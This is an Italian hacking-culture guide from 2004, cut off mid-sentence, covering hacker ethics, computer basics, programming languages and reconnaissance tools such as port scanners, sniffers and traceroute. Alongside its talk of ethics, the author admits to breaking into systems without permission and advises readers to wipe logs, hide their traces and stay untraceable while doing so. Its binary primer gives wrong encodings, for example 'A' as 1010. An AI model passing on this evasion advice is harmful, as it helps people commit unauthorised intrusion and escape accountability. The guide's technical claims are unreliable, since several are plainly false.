Gli Arcani Della Rete Storia di un mondo senza frontiere Scritto da: ..::[- JARRET -]::.. Master and Member of Hacker Alliance Crew http://www.hackeralliance.net [email protected] Milano - 2004, il 20 Gennaio http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 2 G A D R li rcani ella ete Storia di un mondo senza frontiere Prefazione Ebbene si, sono riuscito a trovare un angolo del mio tempo per scrivere questa megaguida perché mi sono stancato di come sta funzionando l’underground italiano. Tutto appare molto confuso ultimamente, anzi direi quasi che molti non hanno capito ancora che cosa è un Hacker e che cosa questa persona fa quando mette le mani sul computer. Ho deciso di scrivere questo libro “intarsiato” di tutorial e guide scritte in anni di piena full-immersion nel mondo dell’informatica per uno scopo ben preciso. Voglio far capire alla nuova generazione che cos’è la cultura hacker e quanto sia importante, specialmente in quest’ultima era decadente, e senza ideali. La libertà di parola e di espressione è ciò che ci siamo conquistati in anni, secoli di guerre. Oggi la guerra per la libertà continua ad essere circondata da altissime mura che non mostrano il loro lato oscuro… Gli hacker hanno fatto i più grandi cambiamenti di questo secolo e hanno reso possibili miracoli tecnologici come i primi computers, i modem, la realtà virtuale… Oggi invece, come per tutte le cose, la realtà dei fatti è cambiata. Gli hackers per i media sono diventati dei criminali, per i ragazzi dei miti viventi, per la tv dei ragazzini che digitano due comandi sul pc ed entrano nei sistemi di sicurezza del Pentagono. Tutto è stato manipolato e reso disgustosamente commerciale e privo di ideali. Ma di tutto questo, la cosa che mi sconcerta più di tutte è che gli hacker del giorno d’oggi abbiano paura a dire chi in realtà sono e cosa fanno. Il motivo credo sia anche molto semplice da capire… La paura di essere visto ed etichettato come un criminale non piace a nessuno, ma penso che se qualcuno non si decide ad uscire dal “ghetto” non si verrà mai a capo di nulla. In fondo che cosa fa un hacker? Cominciamo ad analizzare questo termine… Che significa HACKER? Bhè, ad essere sincero ne ho lette di tutte le salse: smanettane, aggiratore di ostacoli, pirata, criminale informatico… Mi sembra possano bastare… Ma la realtà è diversa. HACKER è un termine inventato da uno scrittore, tutto qui. Non è il nome con cui è archiviato un dossier dell’FBI sul conto di qualche giovane pirata che si è infiltrato nella NASA o altro. Negli ultimi tempi c’è stato un proliferare di siti internet dedicati all’hacking che quasi diventa impossibile capire cosa davvero sia diventato l’hacker e tutto ciò che ne consegue. Ho visto siti che si spacciavano per siti hacker e poi al loro interno trovavi programmi inutili come ICMP Bomber, Nuke e altre cazzate del genere che tra le altre cose funzionavano (forse) fino a qualche anno fa quando tutti avevano montato sistemi operativi come Win95. Altra cosa che non ho mai digerito è vedere come in realtà, l’insieme di tutti i presunti siti hacker che si trovano in circolazione fanno un insieme di contenuto pari a un solo sito! Per farla breve, se vedete un sito di questo genere, li avete visti tutti. Consiglio sempre di inserire tra i preferiti i due siti www.bismark.it e www.crackinguniversity2000.it . Quest’ultimo lo reputo il massimo assoluto che in Italia si possa trovare sulla rete per quanto concerne l’hacking e il cracking. Ma purtroppo questi due siti sono solo casi isolati… Questo è l’Hacking in Italia. In Italia dove l’unico problema serio è far cadere uno connesso a IRC, crackare l’account della fidanzata o dell’amico per fargli qualche scherzo o peggio ancora per farsi belli. Mettetevi in testa che QUESTO NON E’ HACKING! L’Hacking è un’arte, e non c’entra nulla con programmi tipo Nuke & Co. Ma ora basta con questi discorsi, il mio unico scopo è quello di indirizzarvi e di farvi venire 2 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 3 voglia di apprendere quest’arte che molti giovani stanno travisando e alcuni “vecchi” dimenticando… Quindi ricordate, questa è una guida che tratta vari argomenti senza ordine logico. Sono per lo più una serie di mie scoperte personali e quelle di altri passate sotto la mia analisi. Troverete alcuni chiarimenti, e mentre vi accorgerete che più tutto vi sembrerà poco a poco più chiaro, nuove domande vi si affolleranno nel cervello… Non mi dilungherò in Disclaimer che non servono assolutamente a tutelare chi scrive un articolo o un trattato. Non voglio la solita retorica che siamo soliti vedere su tutorial che troviamo in giro per la rete. E’ ovvio che ognuno è responsabile delle proprie azioni come è ovvio che non si dovrebbe dire in giro che la polizia utilizza determinate tecniche per acchiappare pericolosi fuorilegge… E invece I giornalisti con il loro solito modo di fare (sul quale è meglio che non mi esprima) pubblicizzano tutto, anche se viene ovvia una domanda: ma non era meglio mantenere il segreto? Lo stesso si può dire dell’informatica, ma con questo tipo di ragionamento, se tutto andasse sempre bene così come nasce, saremmo ancora fermi al Commodore Vic 20… Quindi, ribadisco che la responsabilità di quanto leggerete d’ora in avanti non è mia né vostra, ma piuttosto delle case produttrici di software che non hanno mai imparato come si fanno i test sui loro prodotti. Vorrei che questo sia anche un monito per tutti gli analisti programmatori che spesso tralasciano certi test perché messi sotto pressione dalla velocità di produzione che certi “esperti di marketing” esaltano come se fosse una bandiera. A tutti questi “grandi laureati” che non capiscono assolutamente nulla (sono ignoranti sul lato pratico delle cose), consiglio di prendersi una settimana di riflessione (per chi ha un cervello che lavora ancora a cilindri perforati consiglio anche un anno sabbatico intero) e di provare a passare dalla parte produttiva della società per capire la realtà delle cose. Quindi pensateci su. Chi davvero deve sentirsi responsabile? Voi ed io perché siamo alla ricerca della verità? Noi che vogliamo anticipare l’azione dei lamer e quindi far correre ai ripari le software house? …Bhé, pensateci su. -----------------------------------------------------------BREVE PANORAMICA SUL LINGUAGGIO BINARIO Sarà un discorso pesante, sarà un mattone, sarà quello che volete, ma è indispensabile capire come ragiona un computer nella sua più intima natura. Il computer è l’unione di due elementi fondamentali: - Hardware (La parte fisica, ovvero i circuiti, le schede, i dischi e le varie periferiche) - Software (L’anima del computer. Senza software il pc non è altro che un insieme di circuiti senza funzioni. Il software è inteso sia come sistema operativo che come programma a sé). Ma come fa il software a comunicare con l’hardware e viceversa? La storia del computer è costellata da scoperte fra le più incredibili che la mente umana abbia saputo fare. L’era dei primi calcolatori sembra un epoca del passato remoto, mentre in realtà tutto si è svolto ed evoluto nell’arco di appena 50 anni di storia. I primi calcolatori erano rumorosissimi scatoloni (grandi come stanze) che riuscivano ad eseguire calcoli che impegnavano solo una piccola manciata di bit di memoria. Ricordo ancora quando mi regalarono un libro, avevo 9 anni, il mio primo VERO libro: 3 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 4 “Informatica”, forse avevano capito che era meglio “intontirmi” con un libro sul mio argomento preferito invece che rimproverarmi per la mia innocente mania di smontare tutto ciò che fosse elettronico… Lessi quel libro e subito capii una cosa fondamentale, sin dalle prime pagine: il computer “capisce” solo due diverse frequenze elettriche, una positiva (1) e una negativa (0). Si, il computer non sa interpretare un comando come FORMAT se prima non gli fai capire una marea di altre cose prima di giungere a quel comando… Vi faccio un esempio. Tutto si basa sul concetto delle cariche positive e negative, come detto prima, ma come viene sfruttato questo? Semplice, ma facciamo un salto indietro nel passato, molto indietro sino a giungere alla trasmissione dati più moderna e al tempo stesso più antica: il codice morse. Il codice morse si basa anch’esso su due unici simboli e cioè un segno breve (.) e uno lungo (-). Attraverso il codice morse possiamo trasferire dati di qualsiasi mole tra trasmittente e ricevente. La stessa cosa, applicata al computer, viene effettuata tramite piccole scariche elettriche su supporti magnetici. Torniamo ai nostri 1 e 0… Per identificare un numero o una lettera dell’alfabeto il computer è stato istruito a rispondere con un output (vedremo più avanti il concetto di input e output), cioè una risposta ad una immissione di dati, attraverso sequenze di soli due numeri 1 e 0, positivo e negativo che corrispondono a: 1 : una scarica elettrica (di infimo voltaggio) 0 : nessuna scarica elettrica Se noi diciamo al computer che la lettera “A” corrisponde alla sequenza di 1010, esso risponderà con un output cioè con la visualizzazione di una “A” sul nostro monitor. Vogliamo fargli scrivere “AB” sul monitor? Ecco il suo corrispondente in cariche positive e negative: 1100 1011. Come si genera l’output sul monitor? ..vi verrà da pensare ora… Semplicissimo. Il nostro monitor è suddiviso in milioni di microcelle chiamate PIXEL (una volta erano solo qualche centinaio) che anch’esse rispondono a cariche positive e negative. Bene, a questo punto in base alla posizione sullo schermo (in forma binaria sulla posizione del testo) in base al colore del carattere (in forma binaria sul colore), ecc, il computer dirà al monitor di eseguire l’accensione di determinati pixel sul monitor proprio come in una battaglia navale per farvi un’idea… Detto così può sembrarvi troppo semplice, e in effetti è proprio così. Questa spiegazione è semplificata al massimo. Se avessi voluto andare nel dettaglio avrei dovuto parlare di driver, di input e output nel dettaglio, spiegarvi le sintassi di trasmissione dati che avvengono durante la visualizzazione su monitor ecc.. Naturalmente per questo argomento fate prima ad andare a comperare un libro di informatica e studiare lì, qui non c’è spazio materiale per un discorso di questa grandezza. SISTEMA OPERATIVO Quello che noi oggi chiamiamo sistema operativo è quello che un tempo veniva definito grosso modo “sequenza di comandi memorizzati su circuiti integrati in grado di far funzionare l’intero apparato…”. Il concetto oggi è pressoché identico, ma con un’unica eccezione. Fino a qualche anno fa cambiare sistema operativo significava cambiare totalmente computer, e il discorso era inverso. Nessuno oggi penserebbe di cambiare computer solo per cambiare sistema operativo (a parte qualche eccezione), ebbene, un tempo si. Il sistema operativo risiedeva all’interno dei circuiti integrati ed era parte integrante dell’intero sistema. Il sistema era gestito dai microchip interni pre-programmati quindi non era possibile formattare o passare dal sistema operativo 1 al numero 2 senza cambiare computer. Cose passate.. oggi si può cambiare sistema operativo anche una 4 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 5 volta al giorno o addirittura montare più sistemi su un’unica macchina. Analizziamo ora nel dettaglio il funzionamento di queste funzioni. Abbiamo un computer, quello che vediamo è l’hardware, il software è la parte “invisibile” e cioè il sistema operativo e i programmi. Un tempo, i computer erano progettati per avviare un programma leggendolo da nastro o da cilindri perforati. Una volta inserito il programma che si voleva utilizzare bastava digitare il comando READ per far leggere al computer il programma da eseguire con il comando GO e terminare con il comando HALT. Un giorno però iniziarono i problemi… Molti iniziarono a scrivere per conto loro i programmi da utilizzare sulle proprie macchine e si presentò un problema non indifferente. Ogni programmatore utilizzava il linguaggio a lui conosciuto, ma non per questo voleva dire che tutti i computer potessero interpretare tutti i linguaggi esistenti… Ecco allora che prima di caricare un programma si iniziò ad utilizzare un altro programma da eseguire prima di quello da utilizzare, in poche parole un interprete di linguaggio in grado di tradurre in linguaggio macchina comprensibile al computer. Naturalmente questo procedimento portava via un sacco di tempo, e spesso richiedeva più tempo dell’esecuzione effettiva del programma. Fu così che si pensò di inserire direttamente un interprete per i linguaggi di programmazione all’interno del computer. In questo modo la procedura diventò più veloce. A poco a poco a questo concetto di pre interpretazione di diversi linguaggi si affacciò all’orizzonte per la prima volta l’idea di creare un sistema in grado di gestire in automatico operazioni che sino ad allora dovevano essere gestite manualmente, come il caricamento dell’interprete di linguaggio, il programma ecc.. Nacque così il Sistema Operativo. Un ambiente per la prima volta in gradi di gestire programmi in modo automatico. L’evoluzione del computer era iniziata. Da allora si iniziò a pensare davvero in grande e proprio colossi informatici come Microsoft fecero la loro fortuna producendo il primo sistema operativo per computers IBM. Lasciamo stare che Bill Gates riuscì a vendere un sistema operativo che ancora non aveva in mano, ci riuscì e basta.. Il sistema operativo in questione era il DOS. Dos era (e lo è ancora) un ottimo sistema operativo per tutti coloro che vogliono comprendere il funzionamento a basso livello del computer. Dos è un sistema che funziona tramite specifici comandi da editare direttamente dal prompt. Volevi scrivere un testo? Dovevi digitare EDIT testo.txt, e per leggerlo TYPE testo.txt. Ancora oggi i sistemi operativi come Win95 e 98 si basano sull’uso a basso livello del Dos. Senza Dos una macchina con montato Win95 non funzionerebbe. Oggi sui recenti Win2000 fino all’ultima generazione di sistemi operativi come WinXP viene utilizzato un emulatore (non fatemi l’errore di chiamarlo DOS!) che è possibile richiamare con il comando CMD da Start > Esegui. HACKING Per anni ho osservato nell’underground una profonda carenza di ideali e di etica morale. Tutti vogliono tutto e subito senza sforzarsi a capire la realtà delle cose. Essere Hacker per molti significa sfondare le protezioni di server digitando qualche password a caso e poi per magia ecco che il server accetta il remote login e da accesso root. Se avete questa concezione dell’Hacking significa che avete visto il film HACKER o Codice Swordfish, o meglio ancora HACKER WARGAMES. Ebbene, mi spiace deludervi ma L’hacking non è niente di tutto questo. L’hacking è all’60% studio, al 40% è pratica. Ma lo studio di che cosa? La pratica di cosa? Analizziamo nel dettaglio. Lo studio: non si diventa hacker nel giro di due giorni che possediamo un computer 5 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 6 (quando non ne abbiamo mai visto uno prima) e proviamo assiduamente di entrare in qualche server remoto senza nemmeno avere una connessione a internet! Ebbene si, ho visto anche questo… Un po’ di tempo fa un amico tentava di entrare nel Server della NASA senza nemmeno avere la connessione dial-up, digitando su Gestione risorse “NASA”, “Goto NASA”… Si compiaceva del fatto che i suoi genitori, quasi per sfotterlo diciamoci la verità, lo avevano ribattezzato “hacker”. Non ho mai voluto infierire, lui era contento così, magari poi ce l’ha anche fatta, forse nei suoi sogni… Scordatevi immagini a video fantascientifiche create dal computer che vi mostra codici binari che scorrono appena entriamo in un sistema o paesaggi psichedelici da attacco di LSD (vedi il film HACKER) perché: primo, non esiste nessun sistema operativo che mostra cose del genere, secondo, sarebbe una perdita di tempo per gli sviluppatori, insomma, non serve assolutamente a niente. Abbiamo fatto di tutto per creare la realtà virtuale per avvicinarci sempre di più alla realtà materiale delle cose (vedi le icone del cestino, del Pannello di controllo, o anche solo l’analogia computer = archivio) quindi figuriamoci se qualcuno si prende la briga di ricreare paesaggi di quel tipo quando può semplicemente usare una chiamata API come quello appunto del Login, o scenari in cui scorrono codici binari… tutte balle. Purtroppo, l’hacking è anche frustrazione e molto spesso odio del pc più che amore. Questo è ciò che io ho provato in un determinato punto della mia vita, ma non è un argomento da affrontare qui. Torniamo ai fondamenti, e cioè a cosa dobbiamo capire prima di addentrarci in questo mondo. Cosa studia un hacker? L’hacker non diventa hacker, l’hacker è un’evoluzione quasi naturale di un individuo che ha deciso di far della sua vita uno strumento di ricerca e cioè la ricerca della verità e dei fondamenti dell’informatica. Manipolare kernel, destreggiarsi con la programmazione e rendere migliori le cose. Nulla ha a che vedere con entrare nei sistemi informatici altrui e distruggerli. Molto spesso si è propensi nel credere che un hacker si diverta a violare sistemi di sicurezza per mostrare quanto egli sia bravo, esiste anche questo, ma la realtà è diversa, in questo caso parliamo di cracker e non di hacker. Se io non ho nessun motivo di violare un sistema di sicurezza non lo faccio. Se mi viene chiesto di farlo per testarlo è un altro discorso, lo faccio di lavoro, ci mancherebbe... Può in altri casi scattare la molla che mi faccia desiderare di comprendere il funzionamento di un nuovo tipo di server e allora in quel caso potrei anche farci un pensierino… Ma ripeto ancora una volta, se mi ritrovo come root di un sistema non faccio nessuna modifica né mi intrometto nei dati riservati degli utenti (sempre a meno che non abbia un motivo più che valido per farlo). La mia ricerca è semplicemente formativa. Posso scaricare qualche file di sistema per studiarmelo in un secondo momento, posso semmai lasciare un messaggio all’amministratore di sistema con scritto in modo dettagliato come ho fatto ad entrare e come poter riparare alla falla della sicurezza che ho sfruttato. L’etica è molto importante. Se siete di quei tipi che hanno pensato leggendo queste righe “io avrei fatto un po’ di casino con i daemon” allora lasciatevelo dire, siete dei pirla che non hanno capito niente né dell’hacking né di come va la vita… So che se mi ci metto divento logorroico, scusate, avevo quasi perso il filo del discorso… Tornando a noi. Cosa dobbiamo sapere inoltre? Una cosa basilare è la struttura del protocollo TCP/IP. Come vengono scambiati i dati in una rete? Se studiate il protocollo TCP/IP lo saprete, e questo vale per capire le reti INTERNET, INTRANET, LAN, WAN, VPN, reti Neurali… Cosa non da meno è un’infarinatura generale dei seguenti……. 6 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 7 - linguaggi di programmazione: C e C++ : Vi permette di arrivare a programmare a basso livello, il che non significa “programmare con livello di conoscenza basso”, ma significa programmare il computer nel suo più intimo angolo. E’ il linguaggio per eccellenza utilizzato dalla stesura di progetti di immense proporzioni come sistemi operativi agli exploit. PERL: Con PERL sarete in grado di arrivare a scrivere applicazioni per CGI, scrivere exploit mirati al test degli stessi e a creare piccoli script di automazione. E’ un linguaggio di scripting molto importante. ASSEMBLER: Con Assembler potrete “parlare” direttamente con l’hardware del computer, un amico, Flavio Bernadotti, dice sempre che tutti i linguaggi alla fine portano all’assembler. Niente di più vero. Se con il C parli con gli angoli più segreti del PC, con Assembler parli direttamente alla sua anima… ADA: Amo ADA. :-) E’ un linguaggio simile al C con il quale è possibile creare procedure ferree nelle quali è assolutamente indispensabile avere la piena sicurezza e stabilità di lavoro. Non è facile interfacciare ADA, spece quando si lavora con sistemi Microsoft… La cosa migliore è usarlo sotto Unix. E’ estremamente difficile trovare guide in italiano che insegnino la programmazione per questo linguaggio, ed è anche estremamente difficile trovare un compilatore con le sue librerie! Dove viene impiegato ADA? Vi brilleranno gli occhi… Strumentazioni militari, strumentazioni di bordo navali e aeree, e su tutte quelle strumentazioni che hanno come prerogativa finale quella di essere utilizzate laddove un errore della macchina potrebbe mettere in serio pericolo vite umane. Non troverete MAI un programma in VB o in Delphi su un radar di terra, ma ADA, Fortran o C. VISUAL BASIC: E’ utile, anche se non indispensabile. Con Visual Basic potrete creare applicazioni per gestire data-base. Inoltre potrete creare exploit-consolle e tantissime altre utility, che aguzzando l’ingegno potrete creare per usi personalizzati. Ma cosa molto importante di questo linguaggio, è che potrete creare applicazioni client server con estrema facilità una volta che avrete imparato a destreggiarvi con il linguaggio. Un suggerimento, se decidete di addentrarvi allo studio di questo linguaggio di programmazione, imparate ad usare bene le API, perché per quello che da a disposizione Microsoft come controlli client-server, lascia un po’ a desiderare… LOGO: Questo è un linguaggio di programmazione “simpatico”, molto semplice e versatile. E’ nato anni fa per insegnare ai bambini ad utilizzare il computer, oggi in alcuni casi è impiegato nella robotica… - Per quanto riguarda i sistemi operativi, è necessario conoscere UNIX (FreeBSD) o sistemi UNIX-LIKE (Linux) e saper utilizzare le sue SHELL. Conoscere i sistemi Microsoft NT. Non sarebbe male avere un po’ di dimestichezza anche su sistemi VMS. - Struttura e programmazione dei Protocolli. Il lato pratico: ebbene si, nella mia “carriera” ho violato dei sistemi di sicurezza, ma tengo a precisare di non aver mai fatto dei danni. Una volta capito che l’esistenza di un bug potrebbe distruggere un sistema, mi fermo e rifletto. “Cosa faccio?” A questo punto le strade sono due: 7 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 8 Mi accerto se il bug sia già conosciuto o no. Se il bug è conosciuto e già esistono patch per richiudere il buco allora il procedimento è semplice. Scrivo un bel txt del tipo: ”Ho testato il vostro sistema e ho trovato una falla qui: ******* Ho utilizzato questo exploit (non è cosa sgradita allegare il source dell’exploit utilizzato). Vi consiglio di scaricare la patch da www.pippopippo.com per poter riparare la falla..” Ad essere sincero sono pochi quelli che mi hanno ricontattato, ma in ogni caso ripassando sui server precedentemente visitati, ho notato con piacere che l’exploit utilizzato l’ultima volta non funzionava più … E vi assicuro che è una soddisfazione quando vedi, anche se non te ne rendono partecipe, che il tuo aiuto è risultato preciso al punto da riparare un potenziale punto di rottura di un sistema operativo. Cosa succede invece se quel bug non è documentato? A questo punto la cosa migliore da fare è contattare l’azienda che produce il software e specificare il problema. Contattare subito chi è stato attaccato per dire che utilizza un sistema buggato senza possibilità d’appello non è molto bello… Anche perché solitamente da lì la voce gira, gira troppo e ovunque fino a raggiungere anche chi non ha troppi pregiudizi a “testare” il bug per i propri scopi o peggio ancora per conto di terzi… Come potrete certamente capire l’hacker fa questo e solo questo di potenzialmente illegale. Cosa? Vi siete persi vero? State già travisando la differenza tra lecito e illecito? Bene, ve lo spiegherò subito. Violare un sistema, per qualsiasi motivo lo facciate è reato se non richiesto espressamente dal proprietario o dall’amministratore del sistema a scopo di test. Vi ricordo che comunque trovare il sistemista di rete che accetta di essere aiutato sotto banco da un hacker è difficile, ma non impossibile. Quindi un consiglio di vero cuore è quello di cancellare sempre il segno del proprio passaggio e di rendersi invisibili. Da un nick è possibile risalire alla persona, ma anche qui la cosa prende diverse sfumature. Un esempio è il celebre assalto alla rete di S. Gibson che è riuscito a risalire all’aggressore grazie al nick con cui si firmava nelle sue “scorribande”, nelle mail e in chat, sempre lo stesso. E’ cosa risaputa ormai che i LOG sono la prima minaccia per un hacker… Ma è anche vero, che a volte, anche cancellando tali file, non si risolve nulla. Vi ricordo che non esistono solo i log del sistema operativo tracciati dai vari AdminTools, ma esistono anche i log dei router, e dei firewall che una volta loggato l’hacker inviano tutti i dati inerenti all’intrusione nell’intranet locale e se la cosa può cogliervi impreparati, ditemi poi come diavolo ve la sbrigate se scoprite questo quando ormai siete dentro e non conoscete il modo di entrare nell’intranet… Non è bello trovarsi davanti ad una richiesta di logon per accedere ad un dominio della rete e capire solo in quell’istante che questo non ve l’aspettavate… Ovvio che non tutte le reti sono così ben configurate, ma se avete fatto delle ricerche prima di capirlo quando è troppo tardi, potrete tranquillamente bypassare qualunque ostacolo. Ricordatevi che non si “prova” a violare un sistema senza prima averne estorto più informazioni possibili. Nel momento in cui vi apprestate a sfondare il sistema di protezione dovete essere sicuri di quello che fate. In linea di massima, se siete diligenti e mascherate a dovere le vostre tracce, potrete anche allentare la presa delle chiappe… Un’altra cosa.. Per l’amor del cielo non lasciate il vostro nick di guerra ovunque e tantomeno non lasciate scritte frasi idiote (l’amministratore potrebbe incazzarsi davvero e se non è un idiota vi può anche trovare senza problemi). Mettetevi in testa che siete dei fantasmi, voi non esistete, voi non siete nulla, voi non siete mai stati lì. Niente e nessuno deve essere in grado di rintracciarvi. Al massimo può essere intuito, ma nulla di più. Se vi firmate “Superwarrior” e lo stesso nick demente lo usate tutti i giorni anche in chat per vantarvi delle vostre scorribande, aspettatevi il giorno dopo qualcuno bussare alla vostra porta di casa. Ci sarà davanti un variopinto stuolo di gente che vi vorrà fare il mazzo. 8 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 9 GLI STRUMENTI: Navigando nella rete vi sarà senz’altro capitato di imbattervi in siti che vi offrono gratuitamente un ben di dio di programmi “hacker” come Click, DdosPing, Nuke ecc.. Bhé se fino ad oggi li avete usati, dimenticateli, anzi selezionateli tutti, premete Shift+Canc e liberate un po’ di spazio dal disco. Perché vi dico questo? Perché fino a un po’ di tempo fa, avevo letto su un sito “hacker” di uno che voleva abbattere i sistemi di sicurezza di Symantec.com a colpi di Click e Nuke. Inutile dire che ho riso fino a quasi farmi esplodere le coronarie… Questi programmi non servono a nulla, anzi, solitamente si ottiene solo l’auto flood dell’aggressore. Altri invece sono pieni di trojan che appestano il pc del beone di turno che crede di impossessarsi di segreti militari pingando a morte un sito .mil Gli exploit sfruttati da quelle consolle sono stati tutti risolti con le patch rilasciate dalle case produttrici di software, e poi anche perché i sistemi operativi vulnerabili a quei tipi di attacchi oggi non sono più utilizzati come un tempo. Parlo di Win95, qualche caso sporadico su Win98 prima edizione, e le edizioni precedenti WinNT 4. Ora che avete fatto pulizia di quei programmi (spero lo abbiate fatto davvero) dovrete procurarvi un bel po’ di questi strumenti se volete iniziare a fare sul serio: 1. I PORT SCANNER Fondamentali, questi strumenti sono in grado di interrogare il target su tutte le porte alla ricerca di vie di comunicazione aperte. I requisiti fondamentali di un buon port scanner sono tre: deve essere in grado di gestire dei Delay differenti, deve dare la possibilità di scansionare dei range di indirizzi IP, deve dare la possibilità di analizzare settori di porte differenti, ad esempio dalla porta 2876 alla 4098 senza dover necessariamente partire dalla porta 1 ad arrivare alla 65530. Per capire quali servizi siano attivi su un determinato target esistono migliaia di strumenti reperibili in rete. Alla famiglia degli Scanner si aggiungono anche tutti quegli strumenti che compiono una ricerca su un range di indirizzi IP o su un unico target di punti vulnerabili. Esistono: Port Scanner, CGI Scanner, NetBios Scanner, Trojan Scanner, ecc.. Per ora ci serve solo uno scanner semplice per porte. Il compito dei Port Scanner è quello interrogare tutte le porte di un obiettivo e tentare una connessione su di esse, una ad una. Quando la porta non risponde significa che questa è chiusa o non attiva in quel momento, se la porta è aperta, il port scanner risponderà con un piccolo messaggio dove sarà indicata la porta aperta. Quindi, procuratevi subito un Port Scanner che sia in grado di enumerare le porte anche facendo scansioni mirate in un range di porte senza dover necessariamente partire dalla prima per arrivare all’ultima porta. Ma ora vediamo cosa possiamo scoprire con una semplice scansione delle porte. Prima di tutto possiamo individuare dispositivi di rete come i router (come detto prima in merito ai traceroute), possiamo rilevare la presenza di un firewall. In quest’ultimo caso possiamo infatti notare che quasi tutte le connessioni verranno rifiutate dal firewall (se questo è configurato in modo corretto. Ma non sempre, quindi occhio al papero. 2. SNIFFER DI RETE Gli Sniffer di rete sono dei particolari programmi che permettono di analizzare il traffico dei pacchetti a basso livello tra i computer. Con uno sniffer saremo in grado di leggere all’interno di ogni singolo pacchetto inviato e ricevuto sulla rete. Aguzzate l’ingegno… se con uno sniffer vedo tutto in chiaro cosa posso vedere anche? .. non siate venali, so che 9 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 10 avete pensato subito alle password, si anche, ma non solo! Potrete vedere in chiaro i comandi che non siamo abituati a digitare a consolle perché ci sono i programmi che fanno tutto questo per noi. Ricordate, i comandi sono la prima cosa che vi devono interessare. Consiglio sempre, a chiunque mi chieda quale sia uno Sniffer affidabile, il programma CommView. 3. UN GENERATORE DI PACCHETTI Che roba è?!? Si lo so, se eravate abituati a cimentarvi in “pericolosissimi quanto estenuanti attacchi D.o.S. con panther” la cosa potrebbe suonarvi strana. Cos’è un generatore di pacchetti? Altro non è che una consolle in grado di generare pacchetti TCPUDP-ICMP (e chi più ne ha più ne metta) e di trasmetterli a un Host. Otterremo sempre una risposta dal computer remoto, noi possiamo monitorare, in base al pacchetto inviato, qual’è la risposta che ci giunge e trarne informazioni molto utili se non indispensabili. Per catturare pacchetti a basso livello consiglio sempre di utilizzare ComView che tra l’altro permette di creare pacchetti completamente personalizzabili e di leggere all’interno dei singoli pacchetti inviati e ricevuti. Questo si rifà al punto 2. 4.TELNET Ecco uno strumento senza il quale non andate da nessuna parte. Questo programma lo trovate integrato ai sistemi operativi in commercio (e non). In Windows basta digitare Start > Esegui, scriviamo TELNET e ci apparirà la consolle dei comandi. Dalla shell di Unix basta digitare “Telnet” Alcuni credono che Telnet serva solo per utilizzare il bug dei remailer (che oggi sono tutti patchati e quel bug è praticamente inesistente ormai), mentre invece, con telnet possiamo fare davvero TUTTO. Ogni singola trasmissione dati tra due PC (o più) è gestita da comandi terminale che noi potremo utilizzare da telnet qualora non disponiamo di programmi adeguati alle nostre esigenze. Lo sapevate che con Telnet possiamo addirittura trasmettere e ricevere dati da un server IRC? Certo, possiamo chattare usando telnet, ma qualunque cosa noi scriviamo ha bisogno del suo comando per funzionare. Lo sapevate che con telnet possiamo collegarci ad una shell remota, emulare FTP e utilizzare i dati di questo protocollo? Lo sapevate che possiamo riprogrammare un Router, un firewall, o un modem da telnet? Con Telnet si fa TUTTO. Vi consiglio giusto qualche Telnet che trovate con facilità su www.tucows.com : Putty, Absolute Telnet. Per quanto riguarda Hyper Terminal invece, potete usare quello di windows che trovate in Start>Programmi>Accessori>Comunicazioni>HyperTerminal. Che differenza esiste tra TELNET e HYPER TERMINAL? Poche differenze, ma ben distinte, una delle quali è che con Telnet possiamo stabilire una connessione locale o remota richiedendo solamente Indirizzo IP o nome Host più il numero della porta, mentre con Hyper Terminal possiamo stabilire una connessione con un terminale remoto componendo un numero telefonico. Ovvio che il terminale remoto deve essere abilitato a ricevere le chiamate. Inoltre è possibile collegarsi direttamente alle porte Com… 5. TRACEROUTE: Guai a chi si ostina a dire che Traceroute serve sono per vedere dove è collocato fisicamente un determinato target a livello geografico. Con Visual Route (www.visualware.com) ci siamo abituati anche a questo, ma questo strumento non serve solo a questo scopo. Senza traceroute noi non potremmo sapere che tipo di dispositivi abbiamo oltrepassato prima di arrivare a destinazione, e ciò, se sottovalutato potrebbe essere molto grave… 10 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 11 Mettiamo ad esempio di voler tracciare un obiettivo: 62.10.10.33 (indirizzo IP casuale). Possiamo utilizzare MS-DOS con la sintassi tracert 62.10.10.33, oppure usare VisualRoute, o ancora, il traceroute che trovate nella cartella utility (traceroute.zip) da compilare sotto Visual Basic 6.0. In rete comunque trovate una marea di traceroute per tutti i tipi. Una volta che avrete tracciato l’obiettivo dovrete anche saper leggere il report generato dal traceroute. Non basta dargli un’occhiata e dire “ok, il computer c’è, ok il computer è situato lì.” ** Una schermata di Visual Route Analizzare il report di traceroute Ora che il traceroute si è fermato possiamo iniziare a dare un occhio al report generato. Nei primi passaggi appare sempre al primo posto in nome e l’indirizzo IP del nostro computer, cioè il primo punto da cui è passato il pacchetto che ha tracciato poi in seguito tutto il percorso sino al target finale. Il secondo punto di passaggio solitamente è il nostro ISP seguito da al massimo altri uno o due punti di passaggio che si riferiscono sempre alla rete remota del nostro ISP di servizi internet. Subito dopo troviamo altri punti si passaggio, e qui il gioco inizia ad essere un po’ più interessante… Notiamo come il nostro pacchetto sia rimbalzato cercando la via più breve per arrivare al nostro obiettivo e sia poi passato attraverso una serie di altri computer. Questo potrebbe interessarci in modo relativo, ma è sempre bene vedere dove vanno a finire i nostri dati prima che giungano a destinazione. In alcuni casi si vedrà in seguito, è molto importante far si che tutto ciò che inviamo al target passi per punti ben precisi, e che i punti di passaggio non siano affidati al caso. Prima di proseguire con le spiegazioni è bene puntualizzare alcune cose. 11 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 12 Durante un tracert è possibile che accada una delle seguenti variabili: - Il target non può essere risolto - Il tracert da valori sballati Analizziamo punto punto: Il target non può essere risolto: In questo caso le possibilità che il target non sia più raggiungibile può dipendere da diversi fattori, uno dei quali è che probabilmente stavate tracciando un IP dinamico (ad esempio un utente con connessione dial-up) che si è disconnesso nel momento in cui voi stavate effettuando il tracert. Altra causa potrebbe essere lo 